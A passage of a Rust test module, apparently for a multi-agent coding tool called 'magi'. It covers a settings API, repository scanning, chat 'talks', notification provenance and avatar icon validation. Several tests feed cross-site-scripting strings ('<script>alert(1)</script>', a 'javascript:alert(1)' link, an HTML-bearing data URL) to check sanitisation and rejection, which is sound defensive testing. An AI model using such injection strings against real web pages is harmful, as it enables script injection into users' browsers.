14905 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14906 assert_eq!(v["agents"][0]["source"], "repo");
14907 }
14908
14909 #[tokio::test]
14910 async fn settings_get_reports_a_config_that_does_not_parse() {
14911 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14912 let f = Fixture::with_repo_and_machine(repo, machine).await;
14913 let res = f.get("/api/settings").await;
14914 assert_eq!(res.status, 200, "{}", res.body);
14915 let v = res.json();
14916 assert!(v["error"]["message"].is_string(), "{v}");
14917 assert!(
14918 v["error"]["path"]
14919 .as_str()
14920 .is_some_and(|p| p.ends_with("magi.toml")),
14921 "{v}"
14922 );
14923 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14924 }
14925
14926 #[tokio::test]
14927 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14928 let (_tmp, repo, machine) = settings_dirs(
14929 SETTINGS_AGENTS,
14930 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
14931 );
14932 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14933 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14934 let rev = f.get("/api/settings").await.json()["revision"]
14935 .as_str()
14936 .expect("revision")
14937 .to_owned();
14938 let body = serde_json::json!({
14939 "revision": rev,
14940 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14941 })
14942 .to_string();
14943 let res = f.put("/api/settings/roles", &body).await;
14944 assert_eq!(res.status, 200, "{}", res.body);
14945 let text = std::fs::read_to_string(&machine).expect("machine");
14946 assert_eq!(
14947 text,
14948 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14949 );
14950 assert_eq!(
14951 std::fs::read(repo.join("magi.toml")).expect("read"),
14952 repo_before
14953 );
14954 let again = f.get("/api/settings").await.json();
14955 let judges = again["roles"]
14956 .as_array()
14957 .expect("roles")
14958 .iter()
14959 .find(|r| r["key"] == "judges")
14960 .expect("judges")
14961 .clone();
14962 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14963 let stale = f.put("/api/settings/roles", &body).await;
14965 assert_eq!(stale.status, 409, "{}", stale.body);
14966 }
14967
14968 #[tokio::test]
14969 async fn settings_counts_are_reported_and_saved() {
14970 let (_tmp, repo, machine) = settings_dirs(
14971 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14972 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14973 );
14974 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14975 let v = f.get("/api/settings").await.json();
14976 let count = |v: &serde_json::Value, k: &str| {
14977 v["roles"]
14978 .as_array()
14979 .and_then(|r| r.iter().find(|x| x["key"] == k))
14980 .map(|x| x["count"].clone())
14981 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14982 };
14983 let imp = count(&v, "implementers");
14984 assert_eq!(imp["value"], 2);
14985 assert_eq!(imp["source"], "machine");
14986 assert_eq!(imp["file_key"], "candidates");
14987 assert_eq!(imp["roster_len"], 2);
14988 assert_eq!(imp["backups"], 0);
14989 assert_eq!(count(&v, "judges")["source"], "default");
14990 assert_eq!(count(&v, "advisors")["min"], 0);
14991 assert_eq!(count(&v, "reviewers")["editable"], false);
14992 assert!(
14993 count(&v, "reviewers")["locked_reason"]
14994 .as_str()
14995 .is_some_and(|m| m.contains("graph.reviewers"))
14996 );
14997 assert!(count(&v, "fixer").is_null());
14998 let rev = v["revision"].as_str().expect("revision").to_owned();
14999 let body = serde_json::json!({
15000 "revision": rev,
15001 "roles": { "judges": ["b"] },
15002 "counts": { "implementers": 1, "advisors": 0 }
15003 })
15004 .to_string();
15005 let res = f.put("/api/settings/roles", &body).await;
15006 assert_eq!(res.status, 200, "{}", res.body);
15007 let text = std::fs::read_to_string(&machine).expect("machine");
15008 assert_eq!(
15009 text,
15010 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15011 );
15012 let after = f.get("/api/settings").await.json();
15013 assert_eq!(count(&after, "implementers")["value"], 1);
15014 assert_eq!(count(&after, "implementers")["backups"], 1);
15015 assert_eq!(count(&after, "advisors")["value"], 0);
15016 let before = std::fs::read_to_string(&machine).expect("machine");
15017 let rev = after["revision"].as_str().expect("revision").to_owned();
15018 for counts in [
15019 serde_json::json!({ "judges": 0 }),
15020 serde_json::json!({ "judges": "x" }),
15021 serde_json::json!({ "judges": 2.5 }),
15022 serde_json::json!({ "judges": -1 }),
15023 serde_json::json!({ "reviewers": 3 }),
15024 serde_json::json!({ "bogus": 3 }),
15025 ] {
15026 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15027 let res = f.put("/api/settings/roles", &body).await;
15028 assert_eq!(res.status, 422, "{counts}: {}", res.body);
15029 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15030 }
15031 }
15032
15033 #[tokio::test]
15034 async fn settings_put_refuses_without_touching_the_file() {
15035 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15036 let (_tmp, repo, machine) = settings_dirs(
15037 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15038 Some(machine_text),
15039 );
15040 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15041 let rev = f.get("/api/settings").await.json()["revision"]
15042 .as_str()
15043 .expect("revision")
15044 .to_owned();
15045 for roles in [
15046 serde_json::json!({ "judges": ["nope"] }),
15047 serde_json::json!({ "reviewers": ["b"] }),
15048 serde_json::json!({ "bogus": ["a"] }),
15049 ] {
15050 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15051 let res = f.put("/api/settings/roles", &body).await;
15052 assert_eq!(res.status, 422, "{roles}: {}", res.body);
15053 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15054 assert_eq!(
15055 std::fs::read_to_string(&machine).expect("machine"),
15056 machine_text
15057 );
15058 }
15059 }
15060
15061 #[tokio::test]
15062 async fn repos_list_returns_name_and_path_for_every_configured_root() {
15063 let tmp = TempDir::new().expect("tempdir");
15064 let repo = tmp.path().join("repo");
15065 std::fs::create_dir_all(&repo).expect("repo dir");
15066 let root = tmp.path().join("root");
15067 make_checkout(&root, "github.com", "yukimemi", "magi");
15068 std::fs::write(
15069 repo.join("magi.toml"),
15070 format!(
15071 "[repos]\nroots = [{:?}]\n",
15072 root.to_string_lossy().into_owned()
15073 ),
15074 )
15075 .expect("write magi.toml");
15076
15077 let f = Fixture::with_repo(repo).await;
15078 let res = f.get("/api/repos").await;
15079 assert_eq!(res.status, 200, "{}", res.body);
15080 let list = res.json();
15081 let repos = list.as_array().expect("an array");
15082 assert_eq!(repos.len(), 1);
15083 assert_eq!(repos[0]["name"], "yukimemi/magi");
15084 assert!(
15085 repos[0]["path"]
15086 .as_str()
15087 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15088 "{list}"
15089 );
15090 }
15091
15092 #[tokio::test]
15093 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15094 let tmp = TempDir::new().expect("tempdir");
15095 let repo = tmp.path().join("repo");
15096 std::fs::create_dir_all(&repo).expect("repo dir");
15097 let root = tmp.path().join("root");
15098 make_checkout(&root, "github.com", "yukimemi", "magi");
15099 std::fs::write(
15100 repo.join("magi.toml"),
15101 format!(
15102 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15103 root.to_string_lossy().into_owned()
15104 ),
15105 )
15106 .expect("write magi.toml");
15107
15108 let f = Fixture::with_repo(repo).await;
15109 let first = f.get("/api/repos").await;
15110 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15111
15112 make_checkout(&root, "github.com", "yukimemi", "rvpm");
15115 let second = f.get("/api/repos").await;
15116 assert_eq!(
15117 second.json().as_array().map(Vec::len),
15118 Some(1),
15119 "a fresh cache must not rescan inside the TTL"
15120 );
15121
15122 let refreshed = f.get("/api/repos?refresh=1").await;
15123 assert_eq!(
15124 refreshed.json().as_array().map(Vec::len),
15125 Some(2),
15126 "an explicit refresh must rescan even inside the TTL"
15127 );
15128 }
15129
15130 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15136
15137 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15141 let tmp = TempDir::new().expect("tempdir");
15142 let repo = tmp.path().join("repo");
15143 std::fs::create_dir_all(&repo).expect("repo dir");
15144 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15145 let f = Fixture::with_repo(repo.clone()).await;
15146 (tmp, repo, f)
15147 }
15148
15149 #[tokio::test]
15150 async fn posting_a_talk_with_remembered_choices_is_soft() {
15151 let (_tmp, _repo, f) = talk_fixture().await;
15152
15153 let good = f
15154 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15155 .await;
15156 assert_eq!(good.status, 201, "{}", good.body);
15157 assert_eq!(good.json()["persona"], "rei");
15158
15159 let stale = f
15161 .post(
15162 "/api/talks",
15163 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15164 )
15165 .await;
15166 assert_eq!(stale.status, 201, "{}", stale.body);
15167 let v = stale.json();
15168 assert_eq!(v["implementers"], 1);
15169 assert_ne!(v["persona"], "nobody");
15170 let typed = f
15171 .post(
15172 "/api/talks",
15173 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15174 )
15175 .await;
15176 assert_eq!(typed.status, 201, "{}", typed.body);
15177
15178 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15180 assert!(
15181 !strict.status.to_string().starts_with('2'),
15182 "{}",
15183 strict.body
15184 );
15185 }
15186
15187 #[tokio::test]
15188 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15189 let (_tmp, _repo, f) = talk_fixture().await;
15190
15191 let opened = f.post("/api/talks", None).await;
15194 assert_eq!(opened.status, 201, "{}", opened.body);
15195 let body = opened.json();
15196 assert_eq!(body["status"], "open");
15197 assert_eq!(
15198 body["turns"].as_array().unwrap().len(),
15199 0,
15200 "opening takes no agent turn: there is nothing yet to answer"
15201 );
15202
15203 let also_opened = f.post("/api/talks", Some("{}")).await;
15205 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15206
15207 let listed = f.get("/api/talks").await.json();
15208 assert_eq!(listed.as_array().unwrap().len(), 2);
15209 }
15210
15211 #[tokio::test]
15212 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15213 let tmp = TempDir::new().expect("tempdir");
15214 let repo = tmp.path().join("repo");
15215 std::fs::create_dir_all(&repo).expect("repo dir");
15216 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15217 std::fs::write(
15218 repo.join("magi.toml"),
15219 format!("{MOCK_AGENT_TOML}\n{second}"),
15220 )
15221 .expect("write magi.toml");
15222 let home = TempDir::new().expect("temp home");
15223 let talks = Talks::at(home.path().join("talks"));
15224 let ui = Arc::new(
15225 Ui::new(
15226 Queue::at(home.path().join("queue")),
15227 Questions::at(home.path().join("questions")),
15228 talks.clone(),
15229 home.path().join("runs"),
15230 home.path().to_path_buf(),
15231 repo.clone(),
15232 )
15233 .with_worktrees_root(home.path().join("wt")),
15234 );
15235 let cfg = config_for(&repo).await.expect("discover config");
15236 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15237 let id = talk.id.clone();
15238 let call = |agent: &str| {
15239 talk_agent(
15240 State(Arc::clone(&ui)),
15241 Path(id.clone()),
15242 Json(TalkAgent {
15243 agent: agent.to_owned(),
15244 }),
15245 )
15246 };
15247
15248 let unknown = call("nobody").await.expect_err("unknown agent");
15249 assert_eq!(
15250 unknown.status,
15251 StatusCode::BAD_REQUEST,
15252 "{}",
15253 unknown.message
15254 );
15255
15256 {
15257 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15260 let busy = call("second").await.expect_err("busy talk");
15261 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15262 assert!(
15263 busy.message.contains("a talk turn is running"),
15264 "{}",
15265 busy.message
15266 );
15267 drop(guard);
15268 }
15269 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15270
15271 let Json(view) = call("second").await.expect("switch");
15272 assert_eq!(view.talk.agent, "second");
15273 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15274 let saved = talks.get(&id).expect("reload");
15275 assert_eq!(saved.agent, "second");
15276 assert_eq!(saved.turns.len(), 1);
15277 assert!(!view.thinking);
15278 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15279 for agent in ["mock", "second"] {
15280 let Json(view) = call(agent).await.expect("immediate consecutive change");
15281 assert_eq!(view.talk.agent, agent);
15282 assert!(!view.thinking);
15283 assert!(!ui.is_thinking(&id));
15284 }
15285
15286 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15287 .await
15288 .expect("detail");
15289 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15290 assert_eq!(roster, ["mock", "second"]);
15291
15292 let mut closed = talks.get(&id).expect("reload");
15293 talk::close(&mut closed, &talks).expect("close");
15294 let refused = call("mock").await.expect_err("closed talk");
15295 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15296 assert!(
15297 refused.message.contains("takes no more turns"),
15298 "{}",
15299 refused.message
15300 );
15301 }
15302
15303 #[tokio::test]
15304 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15305 let tmp = TempDir::new().expect("tempdir");
15306 let repo = tmp.path().join("repo");
15307 std::fs::create_dir_all(&repo).expect("repo dir");
15308 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15309 let home = TempDir::new().expect("temp home");
15310 let talks = Talks::at(home.path().join("talks"));
15311 let ui = Arc::new(
15312 Ui::new(
15313 Queue::at(home.path().join("queue")),
15314 Questions::at(home.path().join("questions")),
15315 talks.clone(),
15316 home.path().join("runs"),
15317 home.path().to_path_buf(),
15318 repo.clone(),
15319 )
15320 .with_worktrees_root(home.path().join("wt")),
15321 );
15322 let cfg = config_for(&repo).await.expect("discover config");
15323 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15324 let id = talk.id.clone();
15325 let call = |n: u8| {
15326 talk_implementers(
15327 State(Arc::clone(&ui)),
15328 Path(id.clone()),
15329 Json(TalkImplementers { implementers: n }),
15330 )
15331 };
15332
15333 for bad in [0u8, 4] {
15334 let e = call(bad).await.expect_err("out of range");
15335 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15336 }
15337 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15338
15339 {
15340 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15343 let busy = call(2).await.expect_err("busy talk");
15344 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15345 assert!(
15346 busy.message.contains("a talk turn is running"),
15347 "{}",
15348 busy.message
15349 );
15350 drop(guard);
15351 }
15352
15353 let Json(view) = call(3).await.expect("switch");
15354 assert_eq!(view.talk.implementers, 3);
15355 assert!(talks.get(&id).expect("reload").implementers_dirty);
15356 assert!(!view.thinking);
15357 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15358 for n in [1, 2, 3] {
15359 let Json(view) = call(n).await.expect("immediate consecutive change");
15360 assert_eq!(view.talk.implementers, n);
15361 assert!(!view.thinking);
15362 assert!(!ui.is_thinking(&id));
15363 }
15364
15365 let mut closed = talks.get(&id).expect("reload");
15366 talk::close(&mut closed, &talks).expect("close");
15367 let e = call(2).await.expect_err("closed talk");
15368 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15369 assert!(e.message.contains("takes no more turns"), "{}", e.message);
15370 }
15371
15372 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15374 let tmp = TempDir::new().expect("tempdir");
15375 let repo = tmp.path().join("repo");
15376 std::fs::create_dir_all(&repo).expect("repo dir");
15377 std::fs::write(
15378 repo.join("magi.toml"),
15379 format!("{MOCK_AGENT_TOML}\n{extra}"),
15380 )
15381 .expect("write magi.toml");
15382 let home = TempDir::new().expect("temp home");
15383 let talks = Talks::at(home.path().join("talks"));
15384 let ui = Arc::new(
15385 Ui::new(
15386 Queue::at(home.path().join("queue")),
15387 Questions::at(home.path().join("questions")),
15388 talks.clone(),
15389 home.path().join("runs"),
15390 home.path().to_path_buf(),
15391 repo.clone(),
15392 )
15393 .with_worktrees_root(home.path().join("wt")),
15394 );
15395 let cfg = config_for(&repo).await.expect("discover config");
15396 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15397 (tmp, home, ui, talk.id, repo)
15398 }
15399
15400 #[tokio::test]
15401 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15402 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15403 let mut conversation = ui.talks.get(&id).unwrap();
15404 talk::record(
15405 &mut conversation,
15406 &ui.talks,
15407 "# Update on a task you filed\noperator words",
15408 vec![],
15409 )
15410 .unwrap();
15411 conversation.turns[0].sender = None;
15413 conversation.turns[0].messages.clear();
15414 ui.talks.put(&mut conversation).unwrap();
15415 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15416 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15417 talk::drain(&mut conversation, &ui.talks).unwrap();
15418 talk::record_reply(
15419 &mut conversation,
15420 &ui.talks,
15421 "about that report",
15422 vec![],
15423 Some(talk::ReplyTarget {
15424 turn: 1,
15425 message: 1,
15426 }),
15427 )
15428 .unwrap();
15429 conversation.turns[2].messages[0]
15430 .reply
15431 .as_mut()
15432 .unwrap()
15433 .sender = None;
15434 conversation.turns.push(talk::Turn {
15435 sender: Some(talk::Sender::Persona),
15436 who: talk::Who::Agent,
15437 body: "magi: actual persona words".into(),
15438 at: Timestamp::now(),
15439 attachments: vec![],
15440 usage: None,
15441 breaks: None,
15442 messages: vec![],
15443 posted_by: None,
15444 });
15445 ui.talks.put(&mut conversation).unwrap();
15446 let view = TalkView::with_config(
15447 ui.talks.get(&id).unwrap(),
15448 false,
15449 None,
15450 &ui.home,
15451 &ui.references,
15452 );
15453 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15454 assert_eq!(
15455 view.talk.turns[1].messages[0].sender,
15456 Some(talk::Sender::Operator)
15457 );
15458 assert_eq!(
15459 view.talk.turns[1].messages[1].sender,
15460 Some(talk::Sender::Magi)
15461 );
15462 assert_eq!(
15463 view.talk.turns[2].messages[0]
15464 .reply
15465 .as_ref()
15466 .unwrap()
15467 .sender,
15468 Some(talk::Sender::Magi)
15469 );
15470 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15471 assert_eq!(view.turn_messages_md[0].len(), 1);
15472 assert!(view.turn_messages_md[0][0].is_none());
15473 assert!(view.turn_messages_md[1][0].is_none());
15474 assert!(view.turn_messages_md[1][1].is_some());
15475 }
15476
15477 #[tokio::test]
15478 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15479 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15480 let mut conversation = ui.talks.get(&id).unwrap();
15481 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15482 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15483 talk::queue_notice(
15484 &mut conversation,
15485 &ui.talks,
15486 &body,
15487 "watch:123",
15488 &|_| false,
15489 crate::chat_control::standing::Event::Watch {
15490 id: "watch-123".into(),
15491 },
15492 display.clone(),
15493 )
15494 .unwrap();
15495 assert!(
15496 !talk::queue_notice(
15497 &mut conversation,
15498 &ui.talks,
15499 &body,
15500 "watch:123",
15501 &|_| false,
15502 crate::chat_control::standing::Event::Watch {
15503 id: "watch-123".into()
15504 },
15505 display.clone()
15506 )
15507 .unwrap()
15508 );
15509 let saved = ui.talks.get(&id).unwrap();
15510 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15511 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15512 assert!(
15513 view.talk.turns[0].messages[0].display.is_none(),
15514 "operator copy stays literal"
15515 );
15516 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15517 assert!(view.turn_messages_md[0][0].is_none());
15518 let queued_md = view.pending_messages_md[0].clone();
15519 assert_eq!(
15520 queued_md,
15521 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15522 );
15523 talk::drain(&mut conversation, &ui.talks).unwrap();
15524 talk::record_reply(
15525 &mut conversation,
15526 &ui.talks,
15527 "Explain",
15528 vec![],
15529 Some(talk::ReplyTarget {
15530 turn: 1,
15531 message: 0,
15532 }),
15533 )
15534 .unwrap();
15535 let mut saved = ui.talks.get(&id).unwrap();
15536 assert_eq!(saved.turns[1].messages[0].body, body);
15537 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15538 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15539 assert!(!reply.excerpt.contains("automatic report"));
15540 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
15543 let view = TalkView::with_config(
15544 ui.talks.get(&id).unwrap(),
15545 false,
15546 None,
15547 &ui.home,
15548 &ui.references,
15549 );
15550 assert_eq!(view.turn_messages_md[1][0], queued_md);
15551 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15552 assert!(
15553 !view.talk.turns[2].messages[0]
15554 .reply
15555 .as_ref()
15556 .unwrap()
15557 .excerpt
15558 .contains("automatic report")
15559 );
15560 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15561 }
15562
15563 #[tokio::test]
15564 async fn consultation_display_hides_directives_in_queue_and_history() {
15565 for node in [
15566 "implement",
15567 crate::land::APPROVAL_NODE,
15568 crate::github_text::ASK_NODE,
15569 ] {
15570 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15571 let mut question = Question::new(
15572 "run-123".into(),
15573 node.into(),
15574 "seat-1".into(),
15575 "Which backend?".into(),
15576 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15577 vec!["SQLite".into(), "Redis".into()],
15578 );
15579 ui.questions.put(&mut question).unwrap();
15580 let body = crate::prompt::chat_consult(&question);
15581 let mut conversation = ui.talks.get(&id).unwrap();
15582 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15583 assert!(
15584 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15585 );
15586 conversation = ui.talks.get(&id).unwrap();
15587 assert_eq!(conversation.pending_messages[0].body, body);
15588 assert!(body.contains("magi answer"));
15589 let mut legacy_pending = conversation.clone();
15590 legacy_pending.pending_messages[0].display = None;
15591 let legacy_view =
15592 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15593 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15594 assert!(legacy_md.contains("Question consultation"));
15595 assert!(!legacy_md.contains("magi answer"));
15596 let view =
15597 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15598 assert!(
15599 view.turn_messages_md[0][0].is_none(),
15600 "operator copy stays literal"
15601 );
15602 let queued_md = view.pending_messages_md[0].clone().unwrap();
15603 let rendered = serde_json::to_string(&queued_md).unwrap();
15604 for visible in [
15605 "Which backend?",
15606 "Context",
15607 "storage",
15608 "SQLite",
15609 "Redis",
15610 "<script>literal</script>",
15611 ] {
15612 assert!(rendered.contains(visible), "missing {visible}");
15613 }
15614 for directive in [
15615 "What to do",
15616 "magi answer",
15617 "Never answer it yourself",
15618 "Do not edit the repository",
15619 ] {
15620 assert!(!rendered.contains(directive), "exposed {directive}");
15621 }
15622 assert_eq!(
15623 view.talk.pending_messages[0].display,
15624 Some(crate::prompt::chat_consult_display(&question))
15625 );
15626 talk::drain(&mut conversation, &ui.talks).unwrap();
15627 let view =
15628 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15629 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15630 assert_eq!(conversation.turns[1].messages[0].body, body);
15631
15632 conversation.turns[1].messages[0].display = None;
15635 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15636 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15637 assert!(legacy.contains("Question consultation"));
15638 assert!(!legacy.contains("magi answer"));
15639 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15640 }
15641 }
15642
15643 #[test]
15644 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15645 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15646 let (body, mut display) =
15647 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15648 display.facts = facts.into();
15649 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15650 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15651 let json = serde_json::to_string(&nodes).unwrap();
15652 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15653 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15654 }
15655 assert!(json.contains("<script>alert(1)</script>"));
15656 assert!(!json.contains("javascript:"));
15657 assert!(!json.contains("Tell the operator"));
15658 assert!(!json.contains("untrusted"));
15659 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15660 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15661 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15662 assert_eq!(
15663 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15664 md::to_nodes("# Status", &md::ImageBase::None),
15665 );
15666 }
15667
15668 #[tokio::test]
15669 async fn notification_display_recovers_exact_legacy_completion_references() {
15670 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15671 let mut conversation = ui.talks.get(&id).unwrap();
15672 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15673 id: "task-123",
15674 title: "Change",
15675 status: "done",
15676 reason: None,
15677 run: Some("run-123"),
15678 pr: None,
15679 summary: Some("Merge state unknown"),
15680 verification: None,
15681 completion: None,
15682 });
15683 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15684 conversation.turns[0].sender = None;
15685 conversation.turns[0].messages.clear();
15686 conversation.turns[0].breaks = None;
15687 conversation.pending = body.clone();
15688 conversation
15689 .completion_notices
15690 .push(crate::chat_notify::CompletionReference {
15691 task: "task-123".into(),
15692 run: Some("run-123".into()),
15693 notice: body.clone(),
15694 });
15695 ui.talks.put(&mut conversation).unwrap();
15696 let view = TalkView::with_config(
15697 ui.talks.get(&id).unwrap(),
15698 false,
15699 None,
15700 &ui.home,
15701 &ui.references,
15702 );
15703 assert_eq!(
15704 view.talk.turns[0].messages[0].display,
15705 Some(display.clone())
15706 );
15707 assert_eq!(view.talk.pending_messages[0].display, Some(display));
15708 assert_eq!(
15709 view.talk.turns[0].messages[0].sender,
15710 Some(talk::Sender::Magi)
15711 );
15712 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15713 conversation.completion_notices[0]
15714 .notice
15715 .push_str("different");
15716 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15717 assert!(view.talk.turns[0].messages.is_empty());
15718 assert!(view.talk.pending_messages.is_empty());
15719 }
15720
15721 #[tokio::test]
15722 async fn avatar_settings_report_states_and_inherit_after_corruption() {
15723 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15724 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15725 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15726 ))
15727 .await;
15728 let path = avatar_setting_path(home.path(), Some("rei"));
15729 let orphan = avatar_setting_path(home.path(), Some("removed"));
15730 save_icon_file(&orphan, icon).unwrap();
15731 for (saved, expected) in [
15732 (icon, "custom"),
15733 ("builtin", "builtin"),
15734 ("data:image/png;base64,!!!!", "inherit"),
15735 ("data:image/png;base64,PGh0bWw+", "inherit"),
15736 ("/tmp/avatar.png", "inherit"),
15737 ] {
15738 atomic_icon_write(&path, saved).unwrap();
15739 let catalog =
15740 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15741 .await
15742 .unwrap()
15743 .0;
15744 let personas = catalog["personas"].as_array().unwrap();
15745 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15746 assert_eq!(rei["override_state"], expected);
15747 assert_eq!(rei["has_config_icon"], true);
15748 assert_eq!(rei["is_orphan"], false);
15749 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15750 assert_eq!(removed["override_state"], "custom");
15751 assert_eq!(removed["is_orphan"], true);
15752 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15753 assert_eq!(default["override_state"], "inherit");
15754 assert_eq!(default["has_config_icon"], false);
15755 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15756 assert_eq!(
15757 effective.as_deref(),
15758 Some(if expected == "builtin" { "" } else { icon })
15759 );
15760 }
15761 }
15762
15763 #[tokio::test]
15764 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15765 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15766 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
